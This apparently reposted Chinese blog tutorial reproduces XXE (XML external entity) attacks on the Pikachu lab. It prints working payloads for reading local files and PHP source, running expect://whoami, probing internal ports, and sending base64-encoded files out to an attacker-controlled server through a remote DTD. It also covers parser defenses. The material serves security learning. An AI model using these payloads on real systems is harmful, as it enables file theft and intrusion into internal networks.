【XML外部实体注入】XXE漏洞分析——pikachu靶场复现_pikachu xxe

XXE(XML外部实体注入)漏洞分析——pikachu靶场复现 阅读详情

XML基础

XML是一种非常流利的标记语言,在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。但是,在处理外部实体时,可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感信息,或利用各种方案的网络访问功能来操纵内部应用程序。通过将这些攻击与其它实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,取决于这些攻击的上下文。
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的元语言。

文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
  <to>Dave</to>
  <from>Tom</from>
  <head>Reminder</head>
  <body>You are a good man</body>
</note>


DTD

DTD(document type definition,文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内部声明,也可以外部引用。
(1)内部的 DOCTYPE 声明
当DTD存在于XML源文件中,由以下格式进行包裹

<!DOCTYPE 根元素 [元素声明]>


然后XML文件对于DTD的内容进行引用
(2)外部文档声明
从XML文件外部引入DTD:

<!DOCTYPE 根元素 SYSTEM ”文件名”>


文件中存放的是元素声明,以.dtd后缀结尾。

DTD实体

(1)内部实体声明

<!ENTITY 实体名称 ”实体的值”>


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>


这里定义元素为ANY说明接受任何元素,但是定义了一个XML的实体(实体其实可以看成一个变量,到时候我们可以在XML中通过&;进行引用)

<a>
<user>&xxe;</user>
<pass>mypass</pass>
</a>


使用&xxe;对上面定义的xxe实体进行了引用,到时候输出的时候&xxe;就会被“test”替换。
(2)外部实体声明

<!ENTITY 实体名称 SYSTEM ”URI”>或<实体名称PUBLIC"public_ID ""URI">


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>


上面将实体分为两个派别(内部实体和外部实体),但是实际上从另一个角度看 ,实体可以分为另外两个派别(通用实体和参数实体)。
(3)参数实体声明

<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>


三种实体声明方式使用区别:
参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://ip/remote.dtd">
%an-element; %remote-dtd;


XXE原理

xxe即xml外部实体注入。指xml数据在传输过程中被利用外部实体声明部分修改,导致服务器器执行了被修改的恶意代码,造成了读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

XXE分类

按构造外部实体声明
直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>


通过DTD文档引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://192.168.0.11/evil.dtd">
    %d;
]>
<a>&xxe;</a>


evil.dtd

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">


通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d PUBLIC "PUBLIC_ID" "http://192.168.0.11/evil.dtd">
    %d;
]>
<a>&xxe;</a>


evil.dtd

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">


按输出信息
正常回显XXE

正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息,可直接完成XXE攻击。

报错XXE

报错XXE是回显XXE攻击的一种特例,它与正常回显XXE的不同在于它在利用过程中服务器回显的是错误信息,可根据错误信息的不同判断是否注入成功。

盲注XXE

当服务器没有回显,就需要选择使用盲注了。可组合利用file协议来读取文件或http协议和ftp协议来查看日志。

1.查看受攻击机的服务器日志
2.通过Dnslog平台查看是否进行查询
3.Burp Collaborator Everywhere 插件验证

分析原理
xxe.dtd:

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///C:/xxe.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.11?c=%file;'>">


payload:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.0.11/xxe.dtd">
%remote;%int;%send;
]>


从payload中能看到连续待用了三个参数实体%remote;%int;%send;,这就是我们的利用顺序,%remote;先调用,调用后请求远程服务器上的xxe.dtd,有点类似于将xxe.dtd包含进来,然后%int;调用xxe.dtd中的%file;%file;就会去获取服务器上面的敏感文件,然后将%file;的结果填入到%send;后面(因为实体的值中不能有%,所以将其转换成html实体编码%#37;),我们在调用%send;把我们读取到的数据发送到我们远程VPS上,这样就实现了外带数据的效果,完美解决了XXE无回显的问题。

XXE危害(pikachu靶场演示)

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。下面会结合pikachu靶场的xxe模块来实战演示。pikachu靶场的xxe是提供了一 个接收xml数据的api 。
靶场地址:https://github.com/zhuifengshaonianhanlu/pikachu
直接解压在www路径下即可。
在这里插入图片描述

读取任意文件

PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件,还可利用PHP伪协议。
XML在各语言下支持的协议有:
在这里插入图片描述
在实施攻击之前可以简单判断一下是否存在回显数据:

<?xml version="1.0"?> 
<!DOCTYPE ANY [    
<!ENTITY xxe "菜鸟" > ]> 
<a>&xxe;</a>


可以看到回显了”菜鸟“,说明存在回显。(注意:只能判断是否存在回显,不能判断是否支持外部实体)
在这里插入图片描述

有回显

在知道存在回显后,可以尝试读取一些敏感目录,比如读取c:/windows/win.ini,它是每个windows系统都有的,linux系统的的话可以读取/etc/passwd,当然想要读取其他文件目录,只需更改绝对路径即可(file://协议只能用绝对路径)
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>


在这里插入图片描述
有些XML解析支持列目录,攻击者通过列目录、读文件,获取账号密码后进一步攻击,如读取tomcat-users.xml得到账号密码后登录tomcat的manager部署webshell。

无回显

也就是上面所说的盲注xxe。

方法1(服务器日志回显)

这里通过服务器请求包的信息来查看并读取文件。先准备测试环境,我靶场机所在ip为192.168.0.1,然后我使用另一台攻击机192.168.0.11上用python开启一个简单的http服务,在桌面打开终端输入下面命令:

python3 -m http.server 80


在这里插入图片描述
然后在桌面新建一个xxe.dtd文件写入下面内容
xxe.dtd:

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///C:/xxe.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.11?c=%file;'>">


192.168.0.1靶机c盘下有一个xxe.txt,当然这里也可以读取其他文件:
在这里插入图片描述
payload:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.0.11/xxe.dtd">
%remote;%int;%send;
]>


在这里插入图片描述
在提交数据后页面是什么都没有显示的,回到http服务器上,可以看到刚刚提交数据的请求包信息,xxe.txt里面的内容被警告base64加密后所外带显示出来了c=d2VsY29tZQ==
在这里插入图片描述
在线base64解密https://base64.us/,成功得到文件内容,具体执行效果前面文章已经介绍过了。
在这里插入图片描述

方法2(查看DNS解析记录)

可以使受攻击服务器访问 DNS解析平台——http://www.dnslog.cn/或http://ceye.io/平台
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://te8sv4.dnslog.cn">
    %d;
]>
<a>&xxe;</a>


说明XML解析成功,访问了te8sv4.dnslog.cn,具有XXE漏洞。
在这里插入图片描述

方法3(利用bp的Collaborator插件验证)

Collaborator插件位于extender模块下的Bapp Store,点击安装即可,在左上角打开Collaborator服务器:
在这里插入图片描述
点击复制到剪切 ,然后更换地址即可:
在这里插入图片描述
在这里插入图片描述
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://t606r6jh3sa4nrjus0ks29kwbnhe53.burpcollaborator.net">
    %d;
]>
<a>&xxe;</a>


可以看到Collaborator中收到了DNS解析记录和HTTP访问记录:
在这里插入图片描述

查看php源代码

查看php源代码一般用php伪协议php://filter
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/phpinfo.php"> ]>
<a>&xxe;</a>


在这里插入图片描述
base64解码即可:
在这里插入图片描述

远程代码执行

这种情况很少发生,但在配置不当/开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。这里pikachu靶场演示不了。
payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [
<!ENTITY xxe SYSTEM "expect://whoami"> ]>
<user>&xxe;</user>


SSRF联动

XXE可以和SSRF(服务端请求伪造)漏洞(ssrf介绍文章请看:http://t.csdn.cn/fNFpi)一起用于探测其他内网主机的信息,基于http协议。

探测内网端口

可根据返回信息内容的接收响应时间来判断该端口是否打开。这里最好利用burpsuite的intruder模块。
payload:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:88" > ]> 
<foo>&xxe;</foo>


先抓包,右键发送到intruder模块,然后设置载荷:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
设置payload好后(这里为了方便快捷只探测1-100端口),开始攻击:
在这里插入图片描述
这时查看会发现它的响应状态都是200,这并不是所需的结果,需要按照发request包和回response包的间间间隔排序,这里设置一下所选列:
在这里插入图片描述
然后点击一下response received列,按大小排列,可以看到80和88端口接收响应计数为2,响应很快,代表这两个端口是开放的:
在这里插入图片描述

探测内网主机

同端口探测一样,可根据返回信息内容的接收响应时间来判断ip是否存在:
payload:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://192.168.0.11" > ]> 
<foo>&xxe;</foo>


在这里插入图片描述
在这里插入图片描述
设置后 payload后开始攻击,查看response received列:
在这里插入图片描述
可以看到有192.168.0.11、10主机,对比下nmap扫描网段结果:
在这里插入图片描述

探测内网文件

同读取任意文件一样,这里就不演示了。

防御XXE

XXE漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去检验DTD(document type definition)中SYSTEM标识符定义的数据,并不太容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML解析器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为False,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD都设置为false,从而避免基于XXE漏洞的攻击。

使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提供的 XML数据

过滤关键字:<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC等。不允许XML中含有自己定义的DTD。

总结

本文只是对xxe漏洞基础学习所做的笔记,简单通过pikachu靶场了解xxe漏洞的原理以及各种利用方法和思路,并未更加深入去剖析,感兴趣可以结合多个靶场和工具去实战。

靶场:
PHP靶场——bWAPP
https://sourceforge.net/projects/bwapp/files/latest/download
Java靶场——webGoat
https://github.com/WebGoat/WebGoat
DSVW靶场
https://github.com/stamparm/DSVW
XXE-lab
https://github.com/c0ny1/xxe-lab
vulnhub-xxe
https://download.vulnhub.com/xxe/XXE.zip
Mwtinfo6.0.0CMS
https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
工具:
XXEinjector
https://github.com/enjoiz/XXEinjector

以上是一些有xxe的靶场和工具,可以参考一下这位大佬的文章去实践https://xz.aliyun.com/t/6502#toc-21

参考文章:(这两篇文章都非常nice)
https://xz.aliyun.com/t/6502#toc-21
https://blog.youkuaiyun.com/elephantxiang/article/details/113812331

本文转自 https://blog.youkuaiyun.com/qq_45612828/article/details/126116429?ops_request_misc=&request_id=&biz_id=102&utm_term=xxe%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-6-126116429.142v100pc_search_result_base8&spm=1018.2226.3001.4187,如有侵权,请联系删除。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

Pikachu靶场实战:深入解析XXE漏洞原理、利用与防御 XML外部实体注入(XXE)是一种基于XML解析器特性的安全漏洞,攻击者通过构造恶意XML数据,利用外部实体声明读取服务器敏感文件或发起内网请求。其核心原理在于应用程序在处理用户可控的XML输入时,未禁用外部实体加载功能,导致解析器信任并执行恶意DTD定义。该漏洞常被用于服务器端请求伪造(SSRF)攻击,以探测内网服务或窃取配置文件。在Web安全实践中,理解XXE的利用方式,如通过file://协议读取本地文件或利用php://filter绕过限制,对渗透测试与安全开发至关重要。本文以Pikachu靶场为例 阅读详情

相关推荐

XXE漏洞原理与pikachu靶场实战:从XML外部实体注入到安全防御

XML外部实体注入(XXE)是一种常见且危险的安全漏洞,其核心原理在于应用程序在解析用户可控的XML数据时,未经严格限制地加载了外部实体。XML实体本质上是预定义的变量或宏,外部实体则允许从本地文件系统或远程URL加载内容。当攻击者能够控制DTD(文档类型定义)中的外部实体声明时,就可能利用`file://`、`http://`等协议读取服务器敏感文件、发起内部网络请求(SSRF),甚至在某些条件下执行远程代码。这种漏洞的技术价值在于它揭示了配置安全与功能灵活性之间的深层矛盾,常出现在处理XML输入的功能中

weixin_30565199的博客 447

XXE漏洞原理和pikachu靶场实验

本文介绍XXE漏洞原理、危害和分类,以及pikachu靶场XXE4个实验。

1592

XXE漏洞原理与防御:从XML实体注入到Pikachu靶场实战

XML外部实体注入(XXE)是一种基于XML解析过程的安全漏洞,其核心原理在于应用程序在解析用户可控的XML数据时,未对外部实体加载进行严格限制。攻击者通过构造恶意DTD,利用SYSTEM关键字声明指向外部资源(如本地文件、内网服务)的实体,当XML解析器处理该文档时,便会尝试读取并注入这些资源内容,从而实现敏感信息泄露、内网探测甚至远程代码执行。在Web安全领域,XXE常与文件读取、内网渗透等攻击链结合,危害性巨大。通过Pikachu靶场等实验环境,安全人员可以深入理解XXE在回显型、无回显(Blind)

weixin_30781433的博客 365

Pikachu靶场——XXE漏洞

XXE 漏洞的根本原因是 XML 解析器在没有正确限制的情况下,允许外部实体的加载。现代的 XML 解析器(如 Java 的 SAX 或 .NET 的 XML 解析器)通常默认允许外部实体的解析,因此需要额外配置以禁止该行为。防范 XXE 漏洞的关键是禁用不必要的外部实体支持,使用安全的 XML 解析库,并对输入进行严格的验证和过滤。这类 API 通常需要解析 XML,验证其格式,处理数据,并返回相应的结果。严格验证传入的 XML 数据,拒绝任何形式的外部实体引用,或对所有输入的 XML 数据进行过滤。

sucker的博客 2564

XXE漏洞防御指南:从Pikachu靶场看如何避免XML外部实体注入

本文深入解析XXE漏洞原理,通过Pikachu靶场演示XML外部实体注入的攻击方式,并提供Java、PHP、Python等多语言防御方案。结合现代DevSecOps流程,详细介绍了企业级防护体系的构建方法,包括SDLC集成、云原生环境防护及应急响应策略,帮助开发者有效避免XXE漏洞风险。

weixin_29201859的博客 313

Pikachu靶场XXE漏洞实战:从原理到文件读取的完整通关指南

本文详细解析了Pikachu靶场中XXE漏洞的实战应用,从基础原理到文件读取的高级技巧。通过Docker快速搭建实验环境,逐步演示如何利用XML外部实体注入漏洞读取系统文件,并分享防御措施与最佳实践,帮助安全人员深入理解XXE漏洞的危害与防护方法。

weixin_30945039的博客 337

pikachu--XXE

3)查看PHP源代码。(文件路径以自己实际电脑为准)XXE进入测试页面。

firecjh的博客 447

手把手教你用UM982搭建厘米级RTK定位系统(附避坑指南)

本文详细介绍了如何使用UM982模组搭建厘米级RTK定位系统,涵盖硬件连接、软件配置和深度优化技巧。UM982支持BDS、GPS、GLONASS和Galileo等多系统全频点信号,特别适合精准农业、无人机导航等高精度应用场景。通过实战案例和避坑指南,帮助开发者快速实现厘米级定位精度。

y7z8a的博客 1444

十一、pikachu之XXE

pikachu XXE

qq_55202378的博客 921

将AD域服务从windows server 2008 R2 迁移到windows server 2019

添加一台windows 2019 的服务器并加入现有林的域中,并将角色升级为域控制器。然后迁移FSMO角色,使其成为PDC,然后降级旧DC,并提升域和林的功能级别。最后还要说下,Server 2008 R2我们还可以删除角色并退出当前域,这里就不做操作了。2)右键 mingling.com(我的域为mingling.com)--提升域级别功能。勾选 将域控制器添加到现有域,使用域管理员将DC2加入到现有的AD域。1)打开服务器管理器---工具---AD域和信任关系。2)运行域安装服务向导,选择下一步。

lionxam的博客 3662

步进电机梯形加减速算法的实现

步进电机梯形加减速算法的实现

m0_69251699的博客 1318

webgoat- XML External Entity-XXE-XML实体注入

XML 外部实体攻击是针对解析 XML 输入的应用程序的一种攻击。当包含对外部实体的引用的 XML 输入由配置较弱的 XML 解析器处理时,就会发生此攻击。这种攻击可能会导致机密数据泄露、拒绝服务、服务器端请求伪造、从解析器所在机器的角度进行端口扫描以及其他系统影响。攻击可能包括使用 file: 方案或系统标识符中的相对路径来泄露本地文件,其中可能包含密码或私人用户数据等敏感数据。

seanyang_的博客 1836

Android各个版本存储权限适配

虽然 Android10 上面提出了外部存储分区的概念,不过之前的版本中,我们只要为应用添加了。1、AndroidManifest添加权限设置。3、拒绝权限时跳转详细设置页面。就可以像之前的方式一样访问手机的外部存储空间。2、请求所有文件管理权限。

sig321的专栏 1848

XML外部实体注入(XXE)漏洞:从原理剖析到实战防御

XXE漏洞自XML广泛应用以来一直是高危缺陷,通过本文的实战案例(Pikachu有回显、无回显OOB、xxe-lab及综合夺旗)读者能够透彻理解漏洞触发条件和利用链。

zhyyhangsan123的博客 807

Fluent 2.5D动网格重构实战:涡旋压缩机复杂运动模拟指南

本文详细解析了Fluent 2.5D动网格重构技术在涡旋压缩机复杂运动模拟中的应用。通过对比传统方法,2.5D重构显著提升了计算效率和稳定性,特别适用于柱体类几何的网格处理。文章提供了从基础配置到参数优化的实战指南,包括关键设置步骤、常见问题排查及性能优化策略,帮助工程师有效解决动网格重构中的负体积和网格畸变问题。

weixin_28455801的博客 551

【医学图像处理】X-ray成像之X射线的产生

【医学图像处理】X-ray成像之X射线的产生 概述 电流流过钨丝,并将其加热。 随着加热,增加的能量使电子能够通过热电子发射从灯丝中释放出来。 电子被吸引到带正电的阳极,并以由管电位(电压)确定的最大能量撞击钨靶。 当电子轰击目标时,它们通过轫致辐射和特有的相互作用将能量转换为热量(99%)和X射线光子(1%)。 X射线光子以一束能量(X射线光谱)从光束中释放出来,构成X射线图像形成的基础。 设备 阴极 灯丝 用细的(0.2毫米)钨丝制成,因为钨: 原子序数高(A 184,Z 74) 是良好的热

ZhangPY的专栏 2360

Pikachu-XXE

0x00 XXE -“xml external entity injection” 既"xml外部实体注入漏洞"。 概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题" 也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。 现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从...

baynk的博客 4432

webrtc+uniapp(h5和app)实现在线聊天功能 uniapp+网页+服务端源码

uniapp端代码 服务端代码 public/index.html

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 755

Pikachu--XXE漏洞

XML文档结构由XML声明,DTD(文档类型定义),文档元素三部分构成!--定义此文档是 note 类型的文档-->!ELEMENT--定义note元素有四个元素-->--定义to元素为"#PCDATA”类型-->!ELEMENT!ELEMENT--定义from元素为"#PCDATA”类型-->!ELEMENT--定义head元素为"#PCDATA"类型-->!ELEMENT--定义body元素为"#PCDATA"类型--></</</</</》》》XML特性《《《

weixin_53736204的博客 1794

基于Dijkstra算法的共享单车调度优化系统设计与实现

根据最新统计数据,全球共享单车市场规模已超过300亿美元,中国作为最大的共享单车市场,日订单量超过5000万次。Dijkstra算法由荷兰计算机科学家Edsger W. Dijkstra于1956年提出,用于解决带权有向图中的单源最短路径问题。本文详细介绍了基于Dijkstra算法的共享单车调度优化系统的设计与实现。本文将详细介绍基于Dijkstra算法的共享单车调度优化系统的设计与实现,采用Java 17、Spring Boot 3.x等最新技术栈。

2201_76125393的博客 622

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

渗透测试——XXE漏洞详解(配合pikachu靶场)

全称:XML Enternal Entity Injection,中文名:XML外部实体注入。xxe中的XML是什么:XML是指可扩展标记语言XML是一种标记语言,很类似HTMlXML被涉及为传输和存储数据,其焦点是数据的内容XML被涉及用来结构化、存储以及传输信息XML允许创作者定义自己的标签和自己的文档结构语法:XML元素都必须有关闭标签XML标签对大小写敏感XML必须正确地嵌套XML文档必须有根元素XML的属性值需要加引号结构:XML文档声明,在文档的第一行。

ztz0209的博客 762

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

Pikachu靶场实战:从原理到攻防,彻底掌握XXE漏洞利用

XML外部实体注入(XXE)是一种基于XML解析器的安全漏洞,其核心原理在于应用程序在处理用户可控的XML数据时,不当解析了其中定义的外部实体引用。攻击者通过构造恶意实体,可诱导服务器加载外部资源,如本地文件或远程URL,从而实现敏感信息窃取或内网探测。这项技术在Web安全领域具有重要价值,尤其在渗透测试和CTF竞赛中,是评估应用对服务器端请求伪造(SSRF)和文件读取风险的关键手段。在实战场景中,XXE常被用于读取系统配置文件、窃取源码,甚至作为内网渗透的跳板。本文以Pikachu靶场为实验环境,系统演示

weixin_33836874的博客 309

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

WEB漏洞——XXE&XML

先上小迪的思维导图 概念 XML:传输和存储数据格式类型 XXE:XML外部实体注入漏洞(XML External Entity Injection) XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 上图中的DTD是实体,DTD中的内容就是内部实体的一个声明,图中声明了note作为一个父标签,其中to,from…是note的子标签。 而这张图便是DTD外部实体声明,外部有一个.dtd文件通过SYSTEM"

holen_的博客 4211
上一篇: 【网络攻击】ARP断网、ARP欺骗和DNS欺骗实验解析_arp断网攻击
下一篇: 渗透测试实战-菠菜站渗透测试(Nacos反序列化漏洞利用)_nacos jraft hessian反序列化漏洞
网络安全_入门教程
博客等级 码龄4年 1万+粉丝 2151原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值